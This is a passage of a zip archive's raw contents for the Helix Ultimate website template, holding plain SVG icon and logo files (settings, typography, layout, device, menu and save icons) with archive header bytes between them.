0 01-.41-.41v-1.196c0-.465-.28-.879-.698-1.029a5.048 5.048 0 01-.43-.178 1.006 1.006 0 00-.43-.096c-.282 0-.564.113-.778.326l-.851.851c-.16.16-.42.16-.582 0l-.833-.833a.412.412 0 010-.581l.851-.85c.326-.325.419-.811.232-1.21a4.918 4.918 0 01-.178-.428c-.151-.419-.565-.7-1.03-.7H1.077a.41.41 0 01-.41-.41V7.41a.41.41 0 01.41-.41h1.196c.465 0 .879-.28 1.029-.699a4.85 4.85 0 01.179-.43 1.073 1.073 0 00-.232-1.208l-.851-.851a.411.411 0 010-.58l.833-.834c.16-.16.42-.16.582 0l.85.851c.327.326.812.42 1.21.232.14-.066.282-.126.428-.178.418-.15.699-.565.699-1.03V1.077a.41.41 0 01.41-.41H8.59a.41.41 0 01.41.41v1.196c0 .465.281.879.699 1.029.146.053.289.113.429.179a1.07 1.07 0 001.208-.232l.852-.851c.16-.16.42-.16.581 0l.833.833c.16.16.16.42 0 .58l-.85.852c-.326.325-.42.81-.232 1.209.066.14.125.282.178.428.15.42.564.7 1.03.7h1.195a.41.41 0 01.41.41V8.59z"/><path fill="#000000" d="M8 5C6.346 5 5 6.346 5 8s1.346 3 3 3 3-1.346 3-3-1.346-3-3-3zm0 5.143A2.145 2.145 0 015.857 8c0-1.182.962-2.143 2.143-2.143 1.181 0 2.143.961 2.143 2.143A2.145 2.145 0 018 10.143z"/></svg>PK!�11Q��0helixultimate/assets/images/icons/typography.svgnu&1i�<svg width="22" height="16" viewBox="0 0 22 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M20.5576 5.61621C20.9092 5.61621 21.1025 5.41406 21.1025 5.07129V2.5752C21.1025 0.878906 20.2236 0 18.5098 0H3.11133C1.39746 0 0.518555 0.870117 0.518555 2.5752V5.07129C0.518555 5.41406 0.720703 5.61621 1.06348 5.61621C1.39746 5.61621 1.59961 5.41406 1.59961 5.07129V2.62793C1.59961 1.61719 2.13574 1.08984 3.12891 1.08984H18.4834C19.459 1.08984 20.0127 1.61719 20.0127 2.62793V5.07129C20.0127 5.41406 20.2148 5.61621 20.5576 5.61621ZM10.7842 11.6982C11.1357 11.6982 11.3291 11.4609 11.3291 11.0918V5.10645H13.6406C13.9043 5.10645 14.0977 4.92188 14.0977 4.64941C14.0977 4.36816 13.9043 4.19238 13.6406 4.19238H7.98047C7.7168 4.19238 7.52344 4.36816 7.52344 4.64941C7.52344 4.92188 7.7168 5.10645 7.98047 5.10645H10.2393V11.0918C10.2393 11.4521 10.4414 11.6982 10.7842 11.6982ZM1.06348 8.85059C1.64355 8.85059 2.11816 8.38477 2.11816 7.7959C2.11816 7.21582 1.64355 6.74121 1.06348 6.74121C0.483398 6.74121 0 7.21582 0 7.7959C0 8.38477 0.483398 8.85059 1.06348 8.85059ZM20.5576 8.85059C21.1289 8.85059 21.6123 8.38477 21.6123 7.7959C21.6123 7.21582 21.1289 6.74121 20.5576 6.74121C19.9688 6.74121 19.4941 7.20703 19.4941 7.7959C19.4941 8.38477 19.9688 8.85059 20.5576 8.85059ZM18.5098 15.917C20.2236 15.917 21.1025 15.0381 21.1025 13.3506V10.5645C21.1025 10.2217 20.9004 10.0195 20.5576 10.0195C20.2148 10.0195 20.0127 10.2217 20.0127 10.5645V13.2891C20.0127 14.3086 19.459 14.8271 18.4834 14.8271H3.12891C2.13574 14.8271 1.59961 14.3086 1.59961 13.2891V10.5645C1.59961 10.2217 1.39746 10.0195 1.06348 10.0195C0.720703 10.0195 0.518555 10.2217 0.518555 10.5645V13.3506C0.518555 15.0469 1.39746 15.917 3.11133 15.917H18.5098Z" fill="#000000"/>
</svg>
PK!�h/��-helixultimate/assets/images/icons/presets.svgnu&1i�<svg width="18" height="15" viewBox="0 0 18 15" xmlns="http://www.w3.org/2000/svg">
<path fill="#000000" d="M12.0059 3.95508C12.9023 3.95508 13.6582 3.35742 13.9043 2.53125H16.8838C17.165 2.53125 17.4111 2.29395 17.4111 1.99512C17.4111 1.6875 17.165 1.4502 16.8838 1.4502H13.9043C13.6758 0.615234 12.9023 0 12.0059 0C11.1006 0 10.3359 0.615234 10.0986 1.4502H0.544922C0.237305 1.4502 0 1.6875 0 1.99512C0 2.29395 0.237305 2.53125 0.544922 2.53125H10.1074C10.3447 3.35742 11.1094 3.95508 12.0059 3.95508ZM12.0059 3.05859C11.3994 3.05859 10.9248 2.5752 10.9248 1.97754C10.9248 1.3623 11.3994 0.896484 12.0059 0.896484C12.6123 0.896484 13.0869 1.3623 13.0869 1.97754C13.0869 2.5752 12.6123 3.05859 12.0059 3.05859ZM5.625 9.35156C6.53027 9.35156 7.29492 8.73633 7.53223 7.91016H16.8662C17.165 7.91016 17.4111 7.66406 17.4111 7.36523C17.4111 7.05762 17.165 6.82031 16.8662 6.82031H7.52344C7.28613 6.00293 6.52148 5.39648 5.625 5.39648C4.72852 5.39648 3.96387 6.00293 3.72656 6.82031H0.518555C0.237305 6.82031 0 7.05762 0 7.36523C0 7.66406 0.237305 7.91016 0.518555 7.91016H3.72656C3.96387 8.73633 4.72852 9.35156 5.625 9.35156ZM5.625 8.44629C5.01855 8.44629 4.54395 7.97168 4.54395 7.36523C4.54395 6.75879 5.01855 6.28418 5.625 6.28418C6.23145 6.28418 6.70605 6.75879 6.70605 7.36523C6.70605 7.97168 6.23145 8.44629 5.625 8.44629ZM12.0059 14.7217C12.9023 14.7217 13.667 14.1064 13.9043 13.2803H16.8838C17.165 13.2803 17.4111 13.043 17.4111 12.7354C17.4111 12.4365 17.165 12.1992 16.8838 12.1992H13.9043C13.667 11.373 12.9023 10.7666 12.0059 10.7666C11.1094 10.7666 10.3447 11.373 10.1074 12.1992H0.544922C0.237305 12.1992 0 12.4365 0 12.7354C0 13.043 0.237305 13.2803 0.544922 13.2803H10.0986C10.3359 14.1064 11.1006 14.7217 12.0059 14.7217ZM12.0059 13.8252C11.3994 13.8252 10.9248 13.3418 10.9248 12.7354C10.9248 12.1289 11.3994 11.6631 12.0059 11.6631C12.6123 11.6631 13.0869 12.1289 13.0869 12.7354C13.0869 13.3418 12.6123 13.8252 12.0059 13.8252Z"/>
</svg>
PK!5��+helixultimate/assets/images/icons/close.svgnu&1i�<svg width="12" height="12" viewBox="0 0 12 12" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M11.4141 11.4111C11.6328 11.1924 11.6328 10.833 11.4141 10.6143L6.58594 5.78615L11.4141 0.958021C11.6328 0.747084 11.6328 0.379896 11.4141 0.161146C11.1953 -0.0497914 10.8359 -0.0497914 10.6172 0.161146L5.78906 4.98927L0.960938 0.161146C0.742188 -0.0497914 0.382812 -0.0576039 0.164062 0.161146C-0.0546875 0.387709 -0.0546875 0.747084 0.164062 0.958021L4.99219 5.78615L0.164062 10.6143C-0.0546875 10.833 -0.0546875 11.2002 0.164062 11.4111C0.382812 11.6299 0.742188 11.6299 0.960938 11.4111L5.78906 6.58302L10.6172 11.4111C10.8359 11.6299 11.1953 11.6377 11.4141 11.4111Z" fill="#000000"/>
</svg>
PK!��Q��,helixultimate/assets/images/icons/layout.svgnu&1i�<svg width="21" height="16" viewBox="0 0 21 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M17.9912 15.917C19.7139 15.917 20.584 15.0381 20.584 13.3506V2.5752C20.584 0.878906 19.7139 0 17.9912 0H2.59277C0.878906 0 0 0.870117 0 2.5752V13.3506C0 15.0469 0.878906 15.917 2.59277 15.917H17.9912ZM19.4941 4.99219H1.08984V2.62793C1.08984 1.61719 1.62598 1.08984 2.61035 1.08984H17.9736C18.9404 1.08984 19.4941 1.61719 19.4941 2.62793V4.99219ZM17.9736 14.8271H7.81055V5.97656H19.4941V13.2891C19.4941 14.3086 18.9404 14.8271 17.9736 14.8271ZM6.77344 14.8271H2.61035C1.62598 14.8271 1.08984 14.3086 1.08984 13.2891V5.97656H6.77344V14.8271Z" fill="#000000"/>
</svg>
PK!��4Ncc1helixultimate/assets/images/icons/image-large.svgnu&1i�<svg xmlns="http://www.w3.org/2000/svg" width="48" height="32" fill="none"><path fill="#36F" fill-opacity=".1" d="M24.042 4.5c0 2.485-2.135 4.5-4.77 4.5-2.634 0-4.77-2.015-4.77-4.5S16.638 0 19.272 0c2.635 0 4.77 2.015 4.77 4.5z"/><path fill="#36F" fill-opacity=".15" d="M11.5 16L23 32H0l11.5-16z"/><path fill="#EFF4FB" d="M33.5 8L48 32H19L33.5 8z"/></svg>PK!��x�1helixultimate/assets/images/icons/image-small.svgnu&1i�<svg xmlns="http://www.w3.org/2000/svg" width="27" height="19" fill="none"><path fill="#36F" fill-opacity=".15" d="M6.5 9L13 19H0L6.5 9z"/><path fill="#EFF4FB" d="M18.5 5L27 19H10l8.5-14z"/><path fill="#36F" fill-opacity=".1" d="M13 2.5a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0z"/></svg>PK!�#��bb3helixultimate/assets/images/icons/device-mobile.svgnu&1i�<svg width="12" height="16" viewBox="0 0 12 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9.99995 0C10.7861 0 11.3611 0.689442 11.3611 1.47778V14.0778C11.3611 14.8661 10.7861 15.5556 9.99995 15.5556H1.83328C1.0471 15.5556 0.472168 14.8661 0.472168 14.0778V1.47778C0.472168 0.689442 1.0471 0 1.83328 0H9.99995ZM9.99995 0.777778H1.83328L1.76014 0.783224C1.47262 0.826355 1.24995 1.12045 1.24995 1.47778V14.0778L1.25449 14.1657C1.29051 14.5112 1.53605 14.7778 1.83328 14.7778H9.99995L10.0731 14.7723C10.3606 14.7292 10.5833 14.4351 10.5833 14.0778V1.47778L10.5787 1.38987C10.5427 1.04439 10.2972 0.777778 9.99995 0.777778ZM5.91661 11.6667C6.34595 11.6667 6.69439 12.0143 6.69439 12.4444C6.69439 12.8746 6.34595 13.2222 5.91661 13.2222C5.48728 13.2222 5.13883 12.8746 5.13883 12.4444C5.13883 12.0143 5.48728 11.6667 5.91661 11.6667ZM7.09068 2.33333C7.3049 2.33333 7.47217 2.50744 7.47217 2.72222L7.46442 2.79879C7.42885 2.973 7.27504 3.11111 7.09068 3.11111H4.74254C4.52832 3.11111 4.36106 2.937 4.36106 2.72222L4.36881 2.64565C4.40438 2.47145 4.55819 2.33333 4.74254 2.33333H7.09068Z" fill="#000000"/>
</svg>
PK!�+;��1helixultimate/assets/images/icons/custom_code.svgnu&1i�<svg width="20" height="16" viewBox="0 0 20 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M8.12025 14.888L12.2765 0.628223C12.3517 0.354785 12.2286 0.0950196 11.9689 0.0198243C11.716 -0.055371 11.4562 0.0881837 11.381 0.368457L7.22474 14.6282C7.14955 14.9017 7.27259 15.1546 7.53236 15.2366C7.78529 15.3118 8.04505 15.1683 8.12025 14.888ZM14.0675 12.762L19.3243 8.0042C19.5636 7.79228 19.5568 7.45732 19.3243 7.23857L14.0675 2.4876C13.8488 2.28936 13.5548 2.29619 13.3771 2.49443C13.1994 2.69951 13.2267 2.98662 13.4318 3.17119L18.3468 7.62139L13.4318 12.0716C13.2267 12.263 13.1994 12.5501 13.3771 12.7483C13.5548 12.9534 13.8488 12.9534 14.0675 12.762ZM6.12416 12.762C6.30189 12.5569 6.27455 12.2698 6.06947 12.0784L1.15443 7.63506L6.06947 3.18486C6.27455 2.99346 6.30189 2.70635 6.12416 2.50127C5.94642 2.30303 5.65248 2.30303 5.44056 2.49443L0.176889 7.24541C-0.0623686 7.46416 -0.0555327 7.79912 0.176889 8.01787L5.44056 12.7688C5.65248 12.9671 5.94642 12.9603 6.12416 12.762Z" fill="#000000"/>
</svg>
PK!�y4helixultimate/assets/images/icons/device-desktop.svgnu&1i�<svg width="20" height="15" viewBox="0 0 20 15" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M17.4609 12.0703C18.6562 12.0703 19.25 11.4922 19.25 10.2812V1.78906C19.25 0.570312 18.6562 0 17.4609 0H1.78906C0.601562 0 0 0.570312 0 1.78906V10.2812C0 11.4922 0.601562 12.0703 1.78906 12.0703H17.4609ZM17.4375 11.0469H1.8125C1.26562 11.0469 1.02344 10.8203 1.02344 10.2578V1.80469C1.02344 1.25 1.26562 1.01562 1.8125 1.01562H17.4375C17.9844 1.01562 18.2344 1.25 18.2344 1.80469V10.2578C18.2344 10.8203 17.9844 11.0469 17.4375 11.0469ZM14.3125 14.8438C14.6641 14.8438 14.9453 14.5547 14.9453 14.1953C14.9453 13.8359 14.6641 13.5469 14.3125 13.5469H4.91406C4.5625 13.5469 4.27344 13.8359 4.27344 14.1953C4.27344 14.5547 4.5625 14.8438 4.91406 14.8438H14.3125Z" fill="#000000"/>
</svg>
PK!s)�@@*helixultimate/assets/images/icons/menu.svgnu&1i�<svg width="20" height="17" viewBox="0 0 20 17" fill="none" xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd" clip-rule="evenodd" d="M3.70297 12.9094C3.68758 12.8283 3.61212 12.7647 3.52941 12.7647H1.20192L1.14468 12.7676C1.06359 12.783 1 12.8585 1 12.9412V15.2687L1.00292 15.3259C1.0183 15.407 1.09377 15.4706 1.17647 15.4706H3.50396L3.56121 15.4677C3.6423 15.4523 3.70588 15.3768 3.70588 15.2941V12.9666L3.70297 12.9094ZM4.69978 12.8213C4.63925 12.23 4.13603 11.7647 3.52941 11.7647H1.17647L1.05663 11.7708C0.465303 11.8313 0 12.3346 0 12.9412V15.2941L0.00610352 15.414C0.066636 16.0053 0.569853 16.4706 1.17647 16.4706H3.52941L3.64926 16.4645C4.24058 16.404 4.70588 15.9007 4.70588 15.2941V12.9412L4.69978 12.8213ZM18.9971 12.9094C18.9817 12.8283 18.9062 12.7647 18.8235 12.7647H7.08428L7.02703 12.7676C6.94594 12.783 6.88235 12.8585 6.88235 12.9412V15.2687L6.88527 15.3259C6.90065 15.407 6.97612 15.4706 7.05882 15.4706H18.7981L18.8553 15.4677C18.9364 15.4523 19 15.3768 19 15.2941V12.9666L18.9971 12.9094ZM19.9939 12.8213C19.9334 12.23 19.4301 11.7647 18.8235 11.7647H7.05882L6.93898 11.7708C6.34766 11.8313 5.88235 12.3346 5.88235 12.9412V15.2941L5.88846 15.414C5.94899 16.0053 6.45221 16.4706 7.05882 16.4706H18.8235L18.9434 16.4645C19.5347 16.404 20 15.9007 20 15.2941V12.9412L19.9939 12.8213ZM3.70297 7.02703C3.68758 6.94594 3.61212 6.88235 3.52941 6.88235H1.20192L1.14467 6.88527C1.06359 6.90065 1 6.97612 1 7.05882V9.38632L1.00292 9.44356C1.0183 9.52465 1.09377 9.58824 1.17647 9.58824H3.50396L3.5612 9.58532C3.64229 9.56994 3.70588 9.49447 3.70588 9.41177V7.08427L3.70297 7.02703ZM4.69978 6.93898C4.63925 6.34766 4.13603 5.88235 3.52941 5.88235H1.17647L1.05663 5.88846C0.465303 5.94899 0 6.45221 0 7.05882V9.41177L0.00610352 9.53161C0.066636 10.1229 0.569853 10.5882 1.17647 10.5882H3.52941L3.64926 10.5821C4.24058 10.5216 4.70588 10.0184 4.70588 9.41177V7.05882L4.69978 6.93898ZM18.9971 7.02703C18.9817 6.94594 18.9062 6.88235 18.8235 6.88235H7.08428L7.02703 6.88527C6.94594 6.90065 6.88235 6.97612 6.88235 7.05882V9.38631L6.88527 9.44356C6.90065 9.52465 6.97612 9.58824 7.05882 9.58824H18.7981L18.8553 9.58532C18.9364 9.56994 19 9.49447 19 9.41177V7.08426L18.9971 7.02703ZM19.9939 6.93898C19.9334 6.34766 19.4301 5.88235 18.8235 5.88235H7.05882L6.93898 5.88846C6.34766 5.94899 5.88235 6.45221 5.88235 7.05882V9.41177L5.88846 9.53161C5.94899 10.1229 6.45221 10.5882 7.05882 10.5882H18.8235L18.9434 10.5821C19.5347 10.5216 20 10.0184 20 9.41177V7.05882L19.9939 6.93898ZM3.52941 1H1.20192L1.14468 1.00292C1.06359 1.0183 1 1.09376 1 1.17647V3.50396L1.00292 3.5612C1.0183 3.64229 1.09376 3.70588 1.17647 3.70588H3.50396L3.5612 3.70297C3.6423 3.68758 3.70588 3.61212 3.70588 3.52941V1.20192L3.70297 1.14468C3.68758 1.06359 3.61212 1 3.52941 1ZM4.69978 1.05663C4.63925 0.465303 4.13603 0 3.52941 0H1.17647L1.05663 0.00610352C0.465303 0.066636 0 0.569853 0 1.17647V3.52941L0.00610352 3.64926C0.066636 4.24058 0.569853 4.70588 1.17647 4.70588H3.52941L3.64926 4.69978C4.24058 4.63925 4.70588 4.13603 4.70588 3.52941V1.17647L4.69978 1.05663ZM7.08427 1H18.8235C18.9062 1 18.9817 1.06359 18.9971 1.14468L19 1.2019V3.52941C19 3.61212 18.9364 3.68758 18.8553 3.70297L18.7981 3.70588H7.05882C6.97612 3.70588 6.90065 3.6423 6.88527 3.56121L6.88235 3.50396V1.17647C6.88235 1.09376 6.94594 1.0183 7.02703 1.00292L7.08427 1ZM6.93898 0.00610352L7.05882 0H18.8235C19.4301 0 19.9334 0.465303 19.9939 1.05663L20 1.17647V3.52941C20 4.13603 19.5347 4.63925 18.9434 4.69978L18.8235 4.70588H7.05882C6.45221 4.70588 5.94899 4.24058 5.88846 3.64926L5.88235 3.52941V1.17647C5.88235 0.569853 6.34766 0.066636 6.93898 0.00610352Z" fill="#000000"/>
</svg>
PK!����*helixultimate/assets/images/icons/save.svgnu&1i�<svg width="12" height="12" viewBox="0 0 12 12" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M1.80485 0.126787H8.68054C9.02633 0.126787 9.35712 0.268021 9.59627 0.517772L11.5211 2.52785C11.7471 2.76385 11.8732 3.07798 11.8732 3.40473V9.85954C11.8732 10.7825 11.1181 11.5376 10.1784 11.5376H1.80485C0.881914 11.5376 0.126787 10.7825 0.126787 9.85954V1.80485C0.126787 0.881914 0.881914 0.126787 1.80485 0.126787ZM9.41197 0.93932C9.17269 0.688332 8.84106 0.546302 8.49429 0.546302H1.80485C1.11684 0.546302 0.546302 1.11684 0.546302 1.80485V9.85954C0.546302 10.5475 1.11684 11.1181 1.80485 11.1181H10.1784C10.8832 11.1181 11.4369 10.5475 11.4369 9.85954V3.57091C11.4369 3.24513 11.3115 2.93185 11.0867 2.69606L9.41197 0.93932ZM6 6.4363C7.05718 6.4363 7.91299 7.29211 7.91299 8.34929C7.91299 9.40646 7.05718 10.2623 6 10.2623C4.94282 10.2623 4.08701 9.40646 4.08701 8.34929C4.08701 7.29211 4.94282 6.4363 6 6.4363ZM6 6.87259C5.17775 6.87259 4.50653 7.52704 4.50653 8.34929C4.50653 9.17153 5.17775 9.84276 6 9.84276C6.82225 9.84276 7.47669 9.17153 7.47669 8.34929C7.47669 7.52704 6.82225 6.87259 6 6.87259ZM7.78061 1.28465C7.95566 1.28465 8.09758 1.42656 8.09758 1.60162V3.90429C8.09758 4.07934 7.95566 4.22126 7.78061 4.22126H1.80298C1.62793 4.22126 1.48602 4.07934 1.48602 3.90429V1.60162C1.48602 1.42656 1.62793 1.28465 1.80298 1.28465H7.78061ZM7.66128 2.03791C7.66128 1.86286 7.51937 1.72094 7.34431 1.72094H2.23928C2.06422 1.72094 1.92231 1.86286 1.92231 2.03791V3.46799C1.92231 3.64305 2.06422 3.78496 2.23928 3.78496H7.34431C7.51937 3.78496 7.66128 3.64305 7.66128 3.46799V2.03791Z" fill="#000000"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M1.80485 0H8.68054C9.06091 0 9.42478 0.155358 9.68785 0.430084L11.6127 2.44016C11.8612 2.69976 12 3.04531 12 3.40473V9.85954C12 10.8533 11.1873 11.6644 10.1784 11.6644H1.80485C0.811892 11.6644 0 10.8525 0 9.85954V1.80485C0 0.811892 0.811892 0 1.80485 0ZM8.49429 0.673089H1.80485C1.18687 0.673089 0.673089 1.18687 0.673089 1.80485V9.85954C0.673089 10.4775 1.18687 10.9913 1.80485 10.9913H10.1784C10.812 10.9913 11.3101 10.4786 11.3101 9.85954V3.57091C11.3101 3.27771 11.1973 2.99576 10.995 2.78354L9.3202 1.0268C9.10485 0.800916 8.80638 0.673089 8.49429 0.673089ZM6 6.30951C7.1272 6.30951 8.03978 7.22208 8.03978 8.34929C8.03978 9.47649 7.1272 10.3891 6 10.3891C4.8728 10.3891 3.96022 9.47649 3.96022 8.34929C3.96022 7.22208 4.8728 6.30951 6 6.30951ZM6 6.99938C5.2459 6.99938 4.63331 7.59892 4.63331 8.34929C4.63331 9.10151 5.24777 9.71597 6 9.71597C6.75037 9.71597 7.34991 9.10339 7.34991 8.34929C7.34991 7.59706 6.75223 6.99938 6 6.99938ZM8.22436 1.60162V3.90429C8.22436 4.14937 8.02569 4.34804 7.78061 4.34804H1.80298C1.5579 4.34804 1.35923 4.14937 1.35923 3.90429V1.60162C1.35923 1.35654 1.5579 1.15786 1.80298 1.15786H7.78061C8.02569 1.15786 8.22436 1.35654 8.22436 1.60162ZM7.34431 1.84773H2.23928C2.13425 1.84773 2.0491 1.93288 2.0491 2.03791V3.46799C2.0491 3.57303 2.13425 3.65817 2.23928 3.65817H7.34431C7.44935 3.65817 7.53449 3.57303 7.53449 3.46799V2.03791C7.53449 1.93288 7.44935 1.84773 7.34431 1.84773ZM8.68054 0.126787H1.80485C0.881914 0.126787 0.126787 0.881914 0.126787 1.80485V9.85954C0.126787 10.7825 0.881914 11.5376 1.80485 11.5376H10.1784C11.1181 11.5376 11.8732 10.7825 11.8732 9.85954V3.40473C11.8732 3.07798 11.7471 2.76385 11.5211 2.52785L9.59627 0.517772C9.35712 0.268021 9.02633 0.126787 8.68054 0.126787ZM8.49429 0.546302C8.84106 0.546302 9.17269 0.688332 9.41197 0.93932L11.0867 2.69606C11.3115 2.93185 11.4369 3.24513 11.4369 3.57091V9.85954C11.4369 10.5475 10.8832 11.1181 10.1784 11.1181H1.80485C1.11684 11.1181 0.546302 10.5475 0.546302 9.85954V1.80485C0.546302 1.11684 1.11684 0.546302 1.80485 0.546302H8.49429ZM7.91299 8.34929C7.91299 7.29211 7.05718 6.4363 6 6.4363C4.94282 6.4363 4.08701 7.29211 4.08701 8.34929C4.08701 9.40646 4.94282 10.2623 6 10.2623C7.05718 10.2623 7.91299 9.40646 7.91299 8.34929ZM4.50653 8.34929C4.50653 7.52704 5.17775 6.87259 6 6.87259C6.82225 6.87259 7.47669 7.52704 7.47669 8.34929C7.47669 9.17153 6.82225 9.84276 6 9.84276C5.17775 9.84276 4.50653 9.17153 4.50653 8.34929ZM8.09758 1.60162C8.09758 1.42656 7.95566 1.28465 7.78061 1.28465H1.80298C1.62793 1.28465 1.48602 1.42656 1.48602 1.60162V3.90429C1.48602 4.07934 1.62793 4.22126 1.80298 4.22126H7.78061C7.95566 4.22126 8.09758 4.07934 8.09758 3.90429V1.60162ZM7.34431 1.72094C7.51937 1.72094 7.66128 1.86286 7.66128 2.03791V3.46799C7.66128 3.64305 7.51937 3.78496 7.34431 3.78496H2.23928C2.06422 3.78496 1.92231 3.64305 1.92231 3.46799V2.03791C1.92231 1.86286 2.06422 1.72094 2.23928 1.72094H7.34431Z" fill="#000000"/>
</svg>
PK!K��Z��-helixultimate/assets/images/select-bg-rtl.svgnu&1i�<svg xmlns="http://www.w3.org/2000/svg" width="1854.539" height="295" preserveAspectRatio="xMinYMin meet"><path d="M13.573 145.7l6.9 6.9c.1.1.2.1.3.1s.2 0 .3-.1l6.9-6.9c.1-.1.1-.2.1-.3s0-.2-.1-.3l-.7-.7c-.1-.1-.2-.1-.3-.1s-.2 0-.3.1l-5.8 5.8-5.8-5.8c-.1-.1-.2-.1-.3-.1s-.2 0-.3.1l-.7.7c-.1.1-.1.2-.1.3-.296.1-.195.2-.096.3h-.002z"/><path fill="#fff" d="M44.54 0h1810v295h-1810z"/></svg>
PK!��PU  7helixultimate/assets/images/helix-ultimate-logo-alt.svgnu&1i�<svg width="25" height="24" viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd" clip-rule="evenodd" d="M6.97765 15.4498C6.93863 14.6358 7.21068 11.8816 11.7099 9.67049C16.2091 7.46045 16.6741 5.67529 16.6741 5.67529C16.2091 8.11945 15.433 8.81856 11.1669 11.1055C7.10012 13.2874 6.97765 15.4498 6.97765 15.4498Z" fill="#2A98FE"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M6.97765 20.1431C6.97765 20.1431 7.10012 17.9808 11.1669 15.7989C15.433 13.5108 16.2091 12.8117 16.6741 10.3687C16.6741 10.3687 16.2091 12.1538 11.7099 14.3638C7.21068 16.575 6.93863 19.328 6.97765 20.1431Z" fill="#2A98FE"/>
<mask id="mask0" mask-type="alpha" maskUnits="userSpaceOnUse" x="0" y="0" width="25" height="24">
<path d="M0 0H24.0015V24H0V0Z" fill="white"/>
</mask>
<g mask="url(#mask0)">
<path fill-rule="evenodd" clip-rule="evenodd" d="M12.0008 23.9999C5.38365 23.9999 0 18.6174 0 12.0014C0 5.38316 5.38365 -0.000488281 12.0008 -0.000488281C18.6179 -0.000488281 24.0015 5.38316 24.0015 12.0014C24.0015 18.6174 18.6179 23.9999 12.0008 23.9999ZM12.0008 1.2178C6.05566 1.2178 1.21829 6.05408 1.21829 12.0014C1.21829 17.9454 6.05566 22.7827 12.0008 22.7827C17.9459 22.7827 22.7832 17.9454 22.7832 12.0014C22.7832 6.05408 17.9459 1.2178 12.0008 1.2178Z" fill="#2A98FF"/>
</g>
</svg>
PK!d^3helixultimate/assets/images/helix-ultimate-logo.svgnu&1i�<svg width="112" height="29" viewBox="0 0 112 29" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M103.249 9H98.5908V8.35059L101.052 5.61621C101.416 5.2028 101.667 4.86751 101.804 4.61035C101.944 4.34993 102.014 4.08138 102.014 3.80469C102.014 3.43359 101.901 3.12923 101.677 2.8916C101.452 2.65397 101.153 2.53516 100.778 2.53516C100.329 2.53516 99.9792 2.66374 99.7285 2.9209C99.4811 3.1748 99.3574 3.52962 99.3574 3.98535H98.4541C98.4541 3.33105 98.6641 2.80208 99.084 2.39844C99.5072 1.99479 100.072 1.79297 100.778 1.79297C101.439 1.79297 101.962 1.96712 102.346 2.31543C102.73 2.66048 102.922 3.12109 102.922 3.69727C102.922 4.39714 102.476 5.23047 101.584 6.19727L99.6797 8.2627H103.249V9ZM104.318 8.52637C104.318 8.37012 104.364 8.23991 104.455 8.13574C104.549 8.03158 104.689 7.97949 104.875 7.97949C105.061 7.97949 105.201 8.03158 105.295 8.13574C105.393 8.23991 105.441 8.37012 105.441 8.52637C105.441 8.67611 105.393 8.80143 105.295 8.90234C105.201 9.00326 105.061 9.05371 104.875 9.05371C104.689 9.05371 104.549 9.00326 104.455 8.90234C104.364 8.80143 104.318 8.67611 104.318 8.52637ZM111.301 5.96777C111.301 7.02572 111.12 7.81185 110.759 8.32617C110.397 8.84049 109.833 9.09766 109.064 9.09766C108.306 9.09766 107.744 8.84701 107.38 8.3457C107.015 7.84115 106.826 7.08919 106.813 6.08984V4.88379C106.813 3.83887 106.994 3.0625 107.355 2.55469C107.717 2.04688 108.283 1.79297 109.055 1.79297C109.82 1.79297 110.383 2.03874 110.744 2.53027C111.105 3.01855 111.291 3.77376 111.301 4.7959V5.96777ZM110.397 4.73242C110.397 3.96745 110.29 3.41081 110.075 3.0625C109.86 2.71094 109.52 2.53516 109.055 2.53516C108.592 2.53516 108.256 2.70931 108.044 3.05762C107.832 3.40592 107.723 3.94141 107.717 4.66406V6.10938C107.717 6.8776 107.827 7.44564 108.049 7.81348C108.273 8.17806 108.612 8.36035 109.064 8.36035C109.51 8.36035 109.841 8.18783 110.056 7.84277C110.274 7.49772 110.388 6.9541 110.397 6.21191V4.73242Z" fill="#3A3A19"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M6.97765 19.45C6.93863 18.636 7.21068 15.8819 11.7099 13.6707C16.2091 11.4607 16.6741 9.67554 16.6741 9.67554C16.2091 12.1197 15.433 12.8188 11.1669 15.1058C7.10012 17.2877 6.97765 19.45 6.97765 19.45Z" fill="#2A98FE"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M6.97765 24.1431C6.97765 24.1431 7.10012 21.9808 11.1669 19.7989C15.433 17.5108 16.2091 16.8117 16.6741 14.3687C16.6741 14.3687 16.2091 16.1538 11.7099 18.3638C7.21068 20.575 6.93863 23.328 6.97765 24.1431Z" fill="#2A98FE"/>
<mask id="mask0" mask-type="alpha" maskUnits="userSpaceOnUse" x="0" y="4" width="25" height="24">
<path d="M0 4H24.0015V28H0V4Z" fill="white"/>
</mask>
<g mask="url(#mask0)">
<path fill-rule="evenodd" clip-rule="evenodd" d="M12.0008 27.9998C5.38365 27.9998 0 22.6173 0 16.0012C0 9.38304 5.38365 3.99939 12.0008 3.99939C18.6179 3.99939 24.0015 9.38304 24.0015 16.0012C24.0015 22.6173 18.6179 27.9998 12.0008 27.9998ZM12.0008 5.21767C6.05566 5.21767 1.21829 10.054 1.21829 16.0012C1.21829 21.9452 6.05566 26.7826 12.0008 26.7826C17.9459 26.7826 22.7832 21.9452 22.7832 16.0012C22.7832 10.054 17.9459 5.21767 12.0008 5.21767Z" fill="#2A98FF"/>
</g>
<path fill-rule="evenodd" clip-rule="evenodd" d="M45.5397 16.266V10.7253H39.6306V16.266H36V2.0007H39.6306V7.86968H45.5397V2.0007H49.1612V16.266H45.5397Z" fill="#2A98FF"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M54.6184 4.85471V7.69027H61.4228V10.545H54.6184V13.4106H62.3783V16.2663H50.9877V2H62.1595V4.85471H54.6184Z" fill="#2A98FF"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M73.3776 13.2315V16.2658H63.6974V2.00046H67.329V13.2315H73.3776Z" fill="#2A98FF"/>
